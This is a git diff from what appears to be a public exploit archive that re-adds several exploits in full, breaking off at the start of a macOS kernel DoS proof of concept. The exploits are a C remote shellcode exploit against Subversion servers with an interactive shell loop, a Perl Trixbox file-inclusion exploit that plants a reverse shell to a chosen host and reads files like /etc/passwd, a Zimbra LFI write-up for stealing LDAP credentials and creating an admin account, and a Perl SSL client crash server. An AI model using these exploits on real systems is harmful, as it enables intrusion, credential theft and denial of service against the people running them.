-   char svdcmdline[1000];
-   char host[1000], repos[1000], *ptr, *caddr;
-   unsigned long addr;
-   struct sockaddr_in sin;
-   struct hostent *he;
-   enum protocol proto;
-
-   /*sock=open("output",O_CREAT|O_TRUNC|O_RDWR,0666);
-   write(sock,stage1loader,strlen(stage1loader));
-   close(sock);
-   return 0;*/
-
-   printf("hoagie_subversion - remote exploit against subversion servers\n"
-          "by greuff@void.at\n\n");
-   if(argc!=3)
-   {
-      printf("Usage: %s serverurl offset\n\n",argv[0]);
-      printf("Examples:\n"
-             "   %s svn://localhost/repository 0x41414141\n"
-             "   %s http://victim.com:6666/svn 0x40414336\n\n",argv[0],argv[0]);
-      printf("The offset is an alphanumeric address (or UTF-8 to be\n"
-             "more precise) of a pop instruction, followed by a ret.\n"
-             "Brute force when in doubt.\n\n");
-      printf("When exploiting against an svn://-url, you can supply a\n"
-             "binary offset too.\n\n");
-      exit(1);
-   }
-
-   // parse the URI
-   snprintf(svdcmdline,sizeof(svdcmdline),"%s",argv[1]);
-   if(parse_uri(argv[1],&proto,host,&port,repos)<0)
-   {
-      printf("URI parse error\n");
-      exit(1);
-   }
-   printf("parse_uri result:\n"
-          "Protocol: %d\n"
-          "Host: %s\n"
-          "Port: %d\n"
-          "Repository: %s\n\n",proto,host,port,repos);
-   addr=strtoul(argv[2],NULL,16);
-   caddr=(char *)&addr;
-   printf("Using offset 0x%02x%02x%02x%02x\n",caddr[3],caddr[2],caddr[1],caddr[0]);
-
-   sock=socket(AF_INET,SOCK_STREAM,0);
-   if(sock<0)
-   {
-      perror("socket");
-      return -1;
-   }
-
-   he=gethostbyname(host);
-   if(he==NULL)
-   {
-      herror("gethostbyname");
-      return -1;
-   }
-   sin.sin_family=AF_INET;
-   sin.sin_port=htons(port);
-   memcpy(&sin.sin_addr.s_addr,he->h_addr,sizeof(he->h_addr));
-   if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0)
-   {
-      perror("connect");
-      return -1;
-   }
-
-   if(proto==SVN)
-   {
-      size=read(sock,reply,sizeof(reply));
-      reply[size]=0;
-      printf("Server said: %s\n",reply);
-      snprintf(cmd,sizeof(cmd),"( 2 ( edit-pipeline ) %d:%s ) ",strlen(svdcmdline),svdcmdline);
-      write(sock,cmd,strlen(cmd));
-      size=read(sock,reply,sizeof(reply));
-      reply[size]=0;
-      printf("Server said: %s\n",reply);
-      strcpy(cmd,"( ANONYMOUS ( 0: ) ) ");
-      write(sock,cmd,strlen(cmd));
-      size=read(sock,reply,sizeof(reply));
-      reply[size]=0;
-      printf("Server said: %s\n",reply);
-      snprintf(cmd,sizeof(cmd),"( get-dated-rev ( %d:%s%c%c%c%c ) ) ",strlen(stage1loader)+4,stage1loader,
-            caddr[0],caddr[1],caddr[2],caddr[3]);
-      write(sock,cmd,strlen(cmd));
-      size=read(sock,reply,sizeof(reply));
-      reply[size]=0;
-      printf("Server said: %s\n",reply); 
-   }
-   else if(proto==HTTP)
-   {
-      // preparing the request...
-      snprintf(buffer,sizeof(buffer),xmlreqfmt,stage1loader,
-            caddr[0],caddr[1],caddr[2],caddr[3]);
-      size=strlen(buffer);
-      snprintf(cmd,sizeof(cmd),requestfmt,repos,host,size,buffer);
-
-      // now sending the request, immediately followed by the 2nd stage loader
-      printf("Sending:\n%s",cmd);
-      write(sock,cmd,strlen(cmd));
-      sleep(1);
-      write(sock,stage2loader,stage2loaderlen);
-   }
-
-   // SHELL LOOP
-   printf("Entering shell loop...\n");
-   exec_sh(sock);
-
-   /*sleep(1);
-   close(sock);
-   printf("\nConnecting to the shell...\n");
-   exec_sh(connect_sh()); */
-   return 0;
-}
-
-// milw0rm.com [2005-05-03]
+/*****************************************************************
+ * hoagie_subversion.c
+ *
+ * Remote exploit against Subversion-Servers.
+ *
+ * Author: greuff <greuff@void.at>
+ *
+ * Tested on Subversion 1.0.0 and 0.37
+ *
+ * Algorithm:
+ * This is a two-stage exploit. The first stage overflows a buffer
+ * on the stack and leaves us ~60 bytes of machine code to be
+ * executed. We try to find the socket-fd there and then do a 
+ * read(2) on the socket. The exploit then sends the second stage
+ * loader to the server, which can be of any length (up to the
+ * obvious limits, of course). This second stage loader spawns 
+ * /bin/sh on the server and connects it to the socket-fd.
+ *
+ * Credits:
+ *    void.at
+ *
+ * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
+ * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
+ * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
+ *
+ *****************************************************************/
+
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <sys/time.h>
+#include <unistd.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <stdio.h>
+#include <errno.h>
+#include <string.h>
+#include <fcntl.h>
+#include <netdb.h>
+
+enum protocol { SVN, SVNSSH, HTTP, HTTPS };
+
+char stage1loader[]=
+             // begin socket fd search
+             "\x31\xdb"            // xor %ebx, %ebx
+             "\x90"                // nop (UTF-8)
+             "\x53"                // push %ebx
+             "\x58"                // pop %eax
+             "\x50"                // push %eax
+             "\x5f"                // pop %edi                # %eax = %ebx = %edi = 0
+             "\x2c\x40"            // sub $0x40, %al
+             "\x50"                // push %eax
+             "\x5b"                // pop %ebx
+             "\x50"                // push %eax
+             "\x5a"                // pop %edx                # %ebx = %edx = 0xC0
+             "\x57"                // push %edi
+             "\x57"                // push %edi               # safety-0
+             "\x54"                // push %esp
+             "\x59"                // pop %ecx                # %ecx = pointer to the buffer
+             "\x4b"                // dec %ebx                # beginloop:
+             "\x57"                // push %edi
+             "\x58"                // pop %eax                # clear %eax
+             "\xd6"                // salc (UTF-8)
+             "\xb0\x60"            // movb $0x60, %al
+             "\x2c\x44"            // sub $0x44, %al          # %eax = 0x1C
+             "\xcd\x80"            // int $0x80               # fstat(i, &stat)
+             "\x58"                // pop %eax
+             "\x58"                // pop %eax
+             "\x50"                // push %eax
+             "\x50"                // push %eax
+             "\x38\xd4"            // cmp %dl, %ah            # uppermost 2 bits of st_mode set?
+             "\x90"                // nop (UTF-8)
+             "\x72\xed"            // jb beginloop
+             "\x90"                // nop (UTF-8)
+             "\x90"                // nop (UTF-8)             # %ebx now contains the socket fd
+             // begin read(2)
+             "\x57"                // push %edi
+             "\x58"                // pop %eax                # zero %eax
+             "\x40"                // inc %eax
+             "\x40"                // inc %eax
+             "\x40"                // inc %eax                # %eax=3
+             //"\x54"                // push %esp
+             //"\x59"                // pop %ecx                # %ecx ... address of buffer
+             //"\x54"                // push %edi
+             //"\x5a"                // pop %edx                # %edx ... bufferlen (0xC0)
+             "\xcd\x80"            // int $0x80               # read(2) second stage loader
+             "\x39\xc7"            // cmp %eax, %edi
+             "\x90"                // nop (UTF-8)
+             "\x7f\xf3"            // jg startover
+             "\x90"                // nop (UTF-8)
+             "\x90"                // nop (UTF-8)
+             "\x90"                // nop (UTF-8)
+             "\x54"                // push %esp
+             "\xc3"                // ret                     # execute second stage loader
+             "\x90"                // nop (UTF-8)
+             "\0"    // %ebx still contains the fd we can use in the 2nd stage loader.
+             ;
+
+char stage2loader[]=
+             // dup2 - %ebx contains the fd
+             "\xb8\x3f\x00\x00\x00"   // mov $0x3F, %eax
+             "\xb9\x00\x00\x00\x00"   // mov $0x0, %ecx
+             "\xcd\x80"               // int $0x80
+             "\xb8\x3f\x00\x00\x00"   // mov $0x3F, %eax
+             "\xb9\x01\x00\x00\x00"   // mov $0x1, %ecx
+             "\xcd\x80"               // int $0x80
+             "\xb8\x3f\x00\x00\x00"   // mov $0x3F, %eax
+             "\xb9\x02\x00\x00\x00"   // mov $0x2, %ecx
+             "\xcd\x80"               // int $0x80
+             // start /bin/sh
+             "\x31\xd2"               // xor %edx, %edx
+             "\x52"                   // push %edx
+             "\x68\x6e\x2f\x73\x68"   // push $0x68732f6e
+             "\x68\x2f\x2f\x62\x69"   // push $0x69622f2f
+             "\x89\xe3"               // mov %esp, %ebx
+             "\x52"                   // push %edx
+             "\x53"                   // push %ebx
+             "\x89\xe1"               // mov %esp, %ecx
+             "\xb8\x0b\x00\x00\x00"   // mov $0xb, %eax
+             "\xcd\x80"               // int $0x80
+             "\xb8\x01\x00\x00\x00"   // mov $0x1, %eax
+             "\xcd\x80"               // int %0x80     (exit)
+             ;
+
+int stage2loaderlen=69;
+             
+char requestfmt[]=
+"REPORT %s HTTP/1.1\n"
+"Host: %s\n"
+"User-Agent: SVN/0.37.0 (r8509) neon/0.24.4\n"
+"Content-Length: %d\n"
+"Content-Type: text/xml\n"
+"Connection: close\n\n"
+"%s\n";
+
+char xmlreqfmt[]=
+"<?xml version=\"1.0\" encoding=\"utf-8\"?>"
+"<S:dated-rev-report xmlns:S=\"svn:\" xmlns:D=\"DAV:\">"
+"<D:creationdate>%s%c%c%c%c</D:creationdate>"
+"</S:dated-rev-report>";
+
+int parse_uri(char *uri,enum protocol *proto,char host[1000],int *port,char repos[1000])
+{
+   char *ptr;
+   char bfr[1000];
+   
+   ptr=strstr(uri,"://");
+   if(!ptr) return -1;
+   *ptr=0;
+   snprintf(bfr,sizeof(bfr),"%s",uri);
+   if(!strcmp(bfr,"http"))
+      *proto=HTTP, *port=80;
+   else if(!strcmp(bfr,"svn"))
+      *proto=SVN, *port=3690;
+   else
+   {
+      printf("Unsupported protocol %s\n",bfr);
+      return -1;
+   }
+   uri=ptr+3;
+   if((ptr=strchr(uri,':')))
+   {
+      *ptr=0;
+      snprintf(host,1000,"%s",uri);
+      uri=ptr+1;
+      if((ptr=strchr(uri,'/'))==NULL) return -1;
+      *ptr=0;
+      snprintf(bfr,1000,"%s",uri);
+      *port=(int)strtol(bfr,NULL,10);
+      *ptr='/';
+      uri=ptr;
+   }
+   else if((ptr=strchr(uri,'/')))
+   {
+      *ptr=0;
+      snprintf(host,1000,"%s",uri);
+      *ptr='/';
+      uri=ptr;
+   }
+   snprintf(repos,1000,"%s",uri);
+   return 0;
+}
+
+int exec_sh(int sockfd)
+{
+   char snd[4096],rcv[4096];
+   fd_set rset;
+   while(1)
+   {
+      FD_ZERO(&rset);
+      FD_SET(fileno(stdin),&rset);
+      FD_SET(sockfd,&rset);
+      select(255,&rset,NULL,NULL,NULL);
+      if(FD_ISSET(fileno(stdin),&rset))
+      {
+         memset(snd,0,sizeof(snd));
+         fgets(snd,sizeof(snd),stdin);
+         write(sockfd,snd,strlen(snd));
+      }
+      if(FD_ISSET(sockfd,&rset))
+      {
+         memset(rcv,0,sizeof(rcv));
+         if(read(sockfd,rcv,sizeof(rcv))<=0)
+            exit(0);
+         fputs(rcv,stdout);
+      }
+   }
+}
+
+int main(int argc, char **argv)
+{
+   int sock, port;
+   size_t size;
+   char cmd[1000], reply[1000], buffer[1000];
+   char svdcmdline[1000];
+   char host[1000], repos[1000], *ptr, *caddr;
+   unsigned long addr;
+   struct sockaddr_in sin;
+   struct hostent *he;
+   enum protocol proto;
+
+   /*sock=open("output",O_CREAT|O_TRUNC|O_RDWR,0666);
+   write(sock,stage1loader,strlen(stage1loader));
+   close(sock);
+   return 0;*/
+
+   printf("hoagie_subversion - remote exploit against subversion servers\n"
+          "by greuff@void.at\n\n");
+   if(argc!=3)
+   {
+      printf("Usage: %s serverurl offset\n\n",argv[0]);
+      printf("Examples:\n"
+             "   %s svn://localhost/repository 0x41414141\n"
+             "   %s http://victim.com:6666/svn 0x40414336\n\n",argv[0],argv[0]);
+      printf("The offset is an alphanumeric address (or UTF-8 to be\n"
+             "more precise) of a pop instruction, followed by a ret.\n"
+             "Brute force when in doubt.\n\n");
+      printf("When exploiting against an svn://-url, you can supply a\n"
+             "binary offset too.\n\n");
+      exit(1);
+   }
+
+   // parse the URI
+   snprintf(svdcmdline,sizeof(svdcmdline),"%s",argv[1]);
+   if(parse_uri(argv[1],&proto,host,&port,repos)<0)
+   {
+      printf("URI parse error\n");
+      exit(1);
+   }
+   printf("parse_uri result:\n"
+          "Protocol: %d\n"
+          "Host: %s\n"
+          "Port: %d\n"
+          "Repository: %s\n\n",proto,host,port,repos);
+   addr=strtoul(argv[2],NULL,16);
+   caddr=(char *)&addr;
+   printf("Using offset 0x%02x%02x%02x%02x\n",caddr[3],caddr[2],caddr[1],caddr[0]);
+
+   sock=socket(AF_INET,SOCK_STREAM,0);
+   if(sock<0)
+   {
+      perror("socket");
+      return -1;
+   }
+
+   he=gethostbyname(host);
+   if(he==NULL)
+   {
+      herror("gethostbyname");
+      return -1;
+   }
+   sin.sin_family=AF_INET;
+   sin.sin_port=htons(port);
+   memcpy(&sin.sin_addr.s_addr,he->h_addr,sizeof(he->h_addr));
+   if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0)
+   {
+      perror("connect");
+      return -1;
+   }
+
+   if(proto==SVN)
+   {
+      size=read(sock,reply,sizeof(reply));
+      reply[size]=0;
+      printf("Server said: %s\n",reply);
+      snprintf(cmd,sizeof(cmd),"( 2 ( edit-pipeline ) %d:%s ) ",strlen(svdcmdline),svdcmdline);
+      write(sock,cmd,strlen(cmd));
+      size=read(sock,reply,sizeof(reply));
+      reply[size]=0;
+      printf("Server said: %s\n",reply);
+      strcpy(cmd,"( ANONYMOUS ( 0: ) ) ");
+      write(sock,cmd,strlen(cmd));
+      size=read(sock,reply,sizeof(reply));
+      reply[size]=0;
+      printf("Server said: %s\n",reply);
+      snprintf(cmd,sizeof(cmd),"( get-dated-rev ( %d:%s%c%c%c%c ) ) ",strlen(stage1loader)+4,stage1loader,
+            caddr[0],caddr[1],caddr[2],caddr[3]);
+      write(sock,cmd,strlen(cmd));
+      size=read(sock,reply,sizeof(reply));
+      reply[size]=0;
+      printf("Server said: %s\n",reply); 
+   }
+   else if(proto==HTTP)
+   {
+      // preparing the request...
+      snprintf(buffer,sizeof(buffer),xmlreqfmt,stage1loader,
+            caddr[0],caddr[1],caddr[2],caddr[3]);
+      size=strlen(buffer);
+      snprintf(cmd,sizeof(cmd),requestfmt,repos,host,size,buffer);
+
+      // now sending the request, immediately followed by the 2nd stage loader
+      printf("Sending:\n%s",cmd);
+      write(sock,cmd,strlen(cmd));
+      sleep(1);
+      write(sock,stage2loader,stage2loaderlen);
+   }
+
+   // SHELL LOOP
+   printf("Entering shell loop...\n");
+   exec_sh(sock);
+
+   /*sleep(1);
+   close(sock);
+   printf("\nConnecting to the shell...\n");
+   exec_sh(connect_sh()); */
+   return 0;
+}
+
+// milw0rm.com [2005-05-03]
diff --git a/platforms/linux/remote/6026.pl b/platforms/linux/remote/6026.pl
index 16df19d57..1ec4cf31a 100755
--- a/platforms/linux/remote/6026.pl
+++ b/platforms/linux/remote/6026.pl
@@ -1,134 +1,134 @@
-#!/usr/bin/perl -w
-
-# Jean-Michel BESNARD <jmbesnard@gmail.com> / LEXSI Audit
-# 2008-07-09
-# This is an update of the previous exploit. We can now get a root shell, thanks to sudo.
-#
-# perl trixbox_fi_v2.pl 192.168.1.212
-# Please listen carefully as our menu option has changed
-# Choose from the following options:
-#     1> Remote TCP shell
-#     2> Read local file
-# 1
-# Host and port the reverse shell should connect to ? (<host>:<port>): 192.168.1.132:4444
-# Which uid would you like for your shell ? (uid=root will be OK on most recent trixbox versions only): [root|asterisk]
-# root
-# Make sure you've opened a server socket on port 4444 at 192.168.1.132 (e.g, nc -l -p 4444)
-# Press enter to continue...
-# done...
-
-# nc -l -v -p 4444
-# listening on [any] 4444 ...
-# connect to [192.168.1.132] from lexsi-abo-new.lexsi.com [192.168.1.212] 48397
-# bash: no job control in this shell
-# bash-3.1# id
-# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
-# bash-3.1# 
-
-
-use strict;
-use Switch;
-use LWP::UserAgent;
-use HTTP::Cookies;
-
-usage() unless @ARGV;
-my $url = "http://$ARGV[0]/user/index.php";
-my $ua = LWP::UserAgent->new;
-my $cookie_jar = HTTP::Cookies->new;
-$ua->cookie_jar($cookie_jar);
-
-menu();
-
-sub execScript{
-    my $scriptCode = shift;
-    post($scriptCode);
-    my $phpsessionid = extractPHPSID($cookie_jar->as_string);
-    post("langChoice=../../../../../../../../../../tmp/sess_$phpsessionid%00");
-}
-
-sub post{
-    my $postData = shift;
-    my $req = HTTP::Request->new(POST => $url);
-    $req->content_type('application/x-www-form-urlencoded');
-    $req->content($postData);
-    my $res = $ua->request($req);
-    my $content = $res->content;
-    return $content;
-}
-
-sub readFile{
-    my $file = shift;
-    my $content = post("langChoice=../../../../../../../../../..$file%00");
-    my @fileLines = split(/\n/,$content);
-    my $fileContent = "Content of $file: \n\n";
-    for(my $i=3;$i<@fileLines;$i++){
-	last if($fileLines[$i] =~ m/trixbox - User Mode/);
-	$fileContent = $fileContent . $fileLines[$i-3] . "\n";
-    }
-    return $fileContent;
-}
-
-sub tcp_reverse_shell{
-    my $rhost= shift;
-    my $rport = shift;
-    my $uid = shift;
-    my $rshell;
-    if($uid eq "asterisk"){
-	$rshell = "langChoice=<?php `/usr/bin/perl -MSocket -e '\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM, getprotobyname('tcp'));connect(S, sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN, \">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec({\"/bin/sh\"} (\"JMB\", \"-i\"));'`;?>%00";
-
-    }else{
-	$rshell = "langChoice=<?php `/usr/bin/perl -MSocket -e '\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM, getprotobyname('tcp'));connect(S, sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN, \">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec(\"/usr/bin/sudo\",\"/bin/bash\", (\"-i\"));'`;?>%00";
-    }
-    execScript($rshell);
-}
-
-
-sub extractPHPSID{
-    $_ = shift;
-    if(/PHPSESSID=(\w+)/){
-	return $1;
-    } 
-}
-
-sub menu{
-    print <<EOF;
-Please listen carefully as our menu option has changed
-Choose from the following options:
-    1> Remote TCP shell
-    2> Read local file
-EOF
-    my $option = <STDIN>;
-    chop($option);
-    switch($option){
-	case 1 {
-	    print "Host and port the reverse shell should connect to ? ";
-	    print "(<host>:<port>): ";
-	    my $hp=<STDIN>;
-	    chop($hp);
-	    print "Which uid would you like for your shell ? (uid=root will be OK on most recent trixbox versions only): [root|asterisk]";
-	    my $uid=<STDIN>;
-	    chop($uid);
-	    my($rhost,$rport) = split(/:/,$hp);
-	    print "Make sure you've opened a server socket on port $rport at $rhost (e.g, nc -l -p $rport)\n";
-	    print "Press enter to continue...";
-	    <STDIN>;
-	    tcp_reverse_shell($rhost,$rport,$uid);
-	    print "done...\n";
-	    }
-	case 2 {
-	    while(1){
-		print "Full path (e.g. /etc/passwd): ";
-		my $file = <STDIN>;
-		chop($file);
-		print readFile($file) . "\n\n";
-	    }
-	}
-    }
-}
-
-sub usage{
-    print "./trixbox_fi.pl <host>\n";
-    exit 1;
-}
-
-# milw0rm.com [2008-07-09]
+#!/usr/bin/perl -w
+
+# Jean-Michel BESNARD <jmbesnard@gmail.com> / LEXSI Audit
+# 2008-07-09
+# This is an update of the previous exploit. We can now get a root shell, thanks to sudo.
+#
+# perl trixbox_fi_v2.pl 192.168.1.212
+# Please listen carefully as our menu option has changed
+# Choose from the following options:
+#     1> Remote TCP shell
+#     2> Read local file
+# 1
+# Host and port the reverse shell should connect to ? (<host>:<port>): 192.168.1.132:4444
+# Which uid would you like for your shell ? (uid=root will be OK on most recent trixbox versions only): [root|asterisk]
+# root
+# Make sure you've opened a server socket on port 4444 at 192.168.1.132 (e.g, nc -l -p 4444)
+# Press enter to continue...
+# done...
+
+# nc -l -v -p 4444
+# listening on [any] 4444 ...
+# connect to [192.168.1.132] from lexsi-abo-new.lexsi.com [192.168.1.212] 48397
+# bash: no job control in this shell
+# bash-3.1# id
+# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
+# bash-3.1# 
+
+
+use strict;
+use Switch;
+use LWP::UserAgent;
+use HTTP::Cookies;
+
+usage() unless @ARGV;
+my $url = "http://$ARGV[0]/user/index.php";
+my $ua = LWP::UserAgent->new;
+my $cookie_jar = HTTP::Cookies->new;
+$ua->cookie_jar($cookie_jar);
+
+menu();
+
+sub execScript{
+    my $scriptCode = shift;
+    post($scriptCode);
+    my $phpsessionid = extractPHPSID($cookie_jar->as_string);
+    post("langChoice=../../../../../../../../../../tmp/sess_$phpsessionid%00");
+}
+
+sub post{
+    my $postData = shift;
+    my $req = HTTP::Request->new(POST => $url);
+    $req->content_type('application/x-www-form-urlencoded');
+    $req->content($postData);
+    my $res = $ua->request($req);
+    my $content = $res->content;
+    return $content;
+}
+
+sub readFile{
+    my $file = shift;
+    my $content = post("langChoice=../../../../../../../../../..$file%00");
+    my @fileLines = split(/\n/,$content);
+    my $fileContent = "Content of $file: \n\n";
+    for(my $i=3;$i<@fileLines;$i++){
+	last if($fileLines[$i] =~ m/trixbox - User Mode/);
+	$fileContent = $fileContent . $fileLines[$i-3] . "\n";
+    }
+    return $fileContent;
+}
+
+sub tcp_reverse_shell{
+    my $rhost= shift;
+    my $rport = shift;
+    my $uid = shift;
+    my $rshell;
+    if($uid eq "asterisk"){
+	$rshell = "langChoice=<?php `/usr/bin/perl -MSocket -e '\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM, getprotobyname('tcp'));connect(S, sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN, \">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec({\"/bin/sh\"} (\"JMB\", \"-i\"));'`;?>%00";
+
+    }else{
+	$rshell = "langChoice=<?php `/usr/bin/perl -MSocket -e '\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM, getprotobyname('tcp'));connect(S, sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN, \">%26S\");open(STDOUT,\">%26S\");open(STDERR,\">%26S\");exec(\"/usr/bin/sudo\",\"/bin/bash\", (\"-i\"));'`;?>%00";
+    }
+    execScript($rshell);
+}
+
+
+sub extractPHPSID{
+    $_ = shift;
+    if(/PHPSESSID=(\w+)/){
+	return $1;
+    } 
+}
+
+sub menu{
+    print <<EOF;
+Please listen carefully as our menu option has changed
+Choose from the following options:
+    1> Remote TCP shell
+    2> Read local file
+EOF
+    my $option = <STDIN>;
+    chop($option);
+    switch($option){
+	case 1 {
+	    print "Host and port the reverse shell should connect to ? ";
+	    print "(<host>:<port>): ";
+	    my $hp=<STDIN>;
+	    chop($hp);
+	    print "Which uid would you like for your shell ? (uid=root will be OK on most recent trixbox versions only): [root|asterisk]";
+	    my $uid=<STDIN>;
+	    chop($uid);
+	    my($rhost,$rport) = split(/:/,$hp);
+	    print "Make sure you've opened a server socket on port $rport at $rhost (e.g, nc -l -p $rport)\n";
+	    print "Press enter to continue...";
+	    <STDIN>;
+	    tcp_reverse_shell($rhost,$rport,$uid);
+	    print "done...\n";
+	    }
+	case 2 {
+	    while(1){
+		print "Full path (e.g. /etc/passwd): ";
+		my $file = <STDIN>;
+		chop($file);
+		print readFile($file) . "\n\n";
+	    }
+	}
+    }
+}
+
+sub usage{
+    print "./trixbox_fi.pl <host>\n";
+    exit 1;
+}
+
+# milw0rm.com [2008-07-09]
diff --git a/platforms/linux/remote/764.c b/platforms/linux/remote/764.c
index 4448241ba..5965e8818 100755
--- a/platforms/linux/remote/764.c
+++ b/platforms/linux/remote/764.c
@@ -1289,6 +1289,6 @@ int main(int argc, char* argv[])
 	close(ssl1->sock);
 	return 0;
 }
-/* spabam: It isn't 0day */
-
-// milw0rm.com [2003-04-04]
+/* spabam: It isn't 0day */
+
+// milw0rm.com [2003-04-04]
diff --git a/platforms/linux/webapps/30085.txt b/platforms/linux/webapps/30085.txt
new file mode 100755
index 000000000..cb880842f
--- /dev/null
+++ b/platforms/linux/webapps/30085.txt
@@ -0,0 +1,59 @@
+# Exploit Title: Zimbra 0day exploit / Privilegie escalation via LFI
+# Date: 06 Dec 2013
+# Exploit Author: rubina119
+# Contact Email : rubina119[at]gmail.com
+# Vendor Homepage: http://www.zimbra.com/
+# Version: 2009, 2010, 2011, 2012 and early 2013 versions are afected,
+# Tested on: Centos(x), Ubuntu.
+# CVE : No CVE, no patch just 0Day
+# State : Critical
+
+# Mirror: http://www.exploit-db.com/sploits/zimbraexploit_rubina119.zip
+
+---------------Description-----------------
+
+This script exploits a Local File Inclusion in
+/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz
+which allows us to see localconfig.xml
+that contains LDAP root credentials wich allow us to make requests in
+/service/admin/soap API with the stolen LDAP credentials to create user
+with administration privlegies
+and gain acces to the Administration Console.
+
+LFI is located at :
+/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00
+
+Example :
+
+https://mail.example.com/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00
+
+or
+
+https://mail.example.com:7071/zimbraAdmin/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00
+
+
+----------------Exploit-----------------
+
+
+Before use this exploit, target server must have admin console port open
+"7071" otherwise it won't work.
+
+use the exploit like this :
+
+
+ruby run.rb -t mail.example.com -u someuser -p Test123_23
+
+[*] Looking if host is vuln....
+[+] Host is vuln exploiting...
+[+] Obtaining Domain Name
+[+] Creating Account
+[+] Elevating Privileges
+[+] Login Credentials
+    [*] Login URL : https://mail.example.com:7071/zimbraAdmin/
+    [*] Account   : someuser@example.com
+    [*] Password  : Test123_23
+[+] Successfully Exploited !
+
+The number of servers vuln are huge like 80/100.
+
+This is only for educational purpouses.
\ No newline at end of file
diff --git a/platforms/multiple/dos/4773.pl b/platforms/multiple/dos/4773.pl
index 68782e0aa..8b7eed69f 100755
--- a/platforms/multiple/dos/4773.pl
+++ b/platforms/multiple/dos/4773.pl
@@ -1,55 +1,55 @@
-#!/usr/bin/perl
-# Copyright(c) Beyond Security
-# Written by Noam Rathaus - based on beSTORM's SSL Server module
-# Exploits vulnerability CVE-2006-4343 - where the SSL client can be crashed by special SSL serverhello response
-
-use strict;
-use IO::Socket;
-my $sock = new IO::Socket::INET ( LocalPort => '443', Proto => 'tcp', Listen => 1, Reuse => 1, );
-die "Could not create socket: $!\n" unless $sock;
- 
-my $TIMEOUT = 0.5;
-my $line;
-my $new_sock;
-srand(time());
-
-while ( $new_sock = $sock->accept() )
-{
- printf ("new connection\n");
- my $rin;
- my $line;
- my ($nfound, $timeleft) = select($rin, undef, undef, $TIMEOUT) && recv($new_sock, $line, 1024, undef);
-
- my $ciphers = "";
- my $ciphers_length = pack('n', length($ciphers));
-
- my $certificate = "";
- my $certificate_length = pack('n', length($certificate));
-
- my $packet_sslv2 =
-"\x04".
-"\x01". # Hit (default 0x01)
-
-"\x00". # No certificate
-
-"\x00\x02".
-$certificate_length.
-$ciphers_length.
-"\x00\x10".
-# Certificate
-$certificate.
-# Done
-# Ciphers
-$ciphers.
-# Done
-"\xf5\x61\x1b\xc4\x0b\x34\x1b\x11\x3c\x52\xe9\x93\xd1\xfa\x29\xe9";
-
- my $ssl_length = pack('n', length($packet_sslv2) + 0x8000);
- $packet_sslv2 = $ssl_length . $packet_sslv2;
-
- print $new_sock $packet_sslv2;
-
- close($new_sock);
-}
-
-# milw0rm.com [2007-12-23]
+#!/usr/bin/perl
+# Copyright(c) Beyond Security
+# Written by Noam Rathaus - based on beSTORM's SSL Server module
+# Exploits vulnerability CVE-2006-4343 - where the SSL client can be crashed by special SSL serverhello response
+
+use strict;
+use IO::Socket;
+my $sock = new IO::Socket::INET ( LocalPort => '443', Proto => 'tcp', Listen => 1, Reuse => 1, );
+die "Could not create socket: $!\n" unless $sock;
+ 
+my $TIMEOUT = 0.5;
+my $line;
+my $new_sock;
+srand(time());
+
+while ( $new_sock = $sock->accept() )
+{
+ printf ("new connection\n");
+ my $rin;
+ my $line;
+ my ($nfound, $timeleft) = select($rin, undef, undef, $TIMEOUT) && recv($new_sock, $line, 1024, undef);
+
+ my $ciphers = "";
+ my $ciphers_length = pack('n', length($ciphers));
+
+ my $certificate = "";
+ my $certificate_length = pack('n', length($certificate));
+
+ my $packet_sslv2 =
+"\x04".
+"\x01". # Hit (default 0x01)
+
+"\x00". # No certificate
+
+"\x00\x02".
+$certificate_length.
+$ciphers_length.
+"\x00\x10".
+# Certificate
+$certificate.
+# Done
+# Ciphers
+$ciphers.
+# Done
+"\xf5\x61\x1b\xc4\x0b\x34\x1b\x11\x3c\x52\xe9\x93\xd1\xfa\x29\xe9";
+
+ my $ssl_length = pack('n', length($packet_sslv2) + 0x8000);
+ $packet_sslv2 = $ssl_length . $packet_sslv2;
+
+ print $new_sock $packet_sslv2;
+
+ close($new_sock);
+}
+
+# milw0rm.com [2007-12-23]
diff --git a/platforms/multiple/dos/5191.c b/platforms/multiple/dos/5191.c
index 667290d62..dc0ee4a0a 100755
--- a/platforms/multiple/dos/5191.c
+++ b/platforms/multiple/dos/5191.c
@@ -1,143 +1,143 @@
-/* xnu-ipv6-ipcomp.c
- *
- * Copyright (c) 2008 by <mu-b@digit-labs.org>
- *
- * Apple MACOS X xnu <= 1228.3.13 ipv6-ipcomp remote kernel DoS POC
